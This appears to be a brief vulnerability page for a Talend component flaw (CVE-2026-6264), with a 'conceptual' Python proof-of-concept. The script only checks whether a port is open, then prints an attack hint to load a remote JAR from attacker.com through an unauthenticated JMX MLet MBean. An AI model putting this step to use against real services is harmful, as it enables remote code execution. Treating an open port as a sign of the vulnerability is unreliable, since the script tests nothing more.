CVE-2026-6264 Talend组件远程代码执行漏洞

import sys import socket # Conceptual PoC for CVE-2026-6264 # This script demonstrates the logic of interacting with a vulnerable JMX service. # Actual exploitation requires specific JMX/RMI libraries. def check_jmx_vulnerability(target_ip, port): print(f"[*] Checking {target_ip}:{port} for CVE-2026-6264...") try: # Attempt to connect to the JMX port (usually RMI) sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) result = sock.connect_ex((target_ip, port)) sock.close() if result == 0: print(f"[+] Port {port} is open. Potential vulnerability detected.") print(f"[!] Next step: Use JMX console or custom RMI client to invoke MBean operations without auth.") print(f"[!] Example Payload: Invoke MLet MBean to load http://attacker.com/exploit.jar") else: print(f"[-] Port {port} is closed.") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) != 3: print("Usage: python cve_2026_6264_poc.py <IP> <PORT>") else: check_jmx_vulnerability(sys.argv[1], int(sys.argv[2]))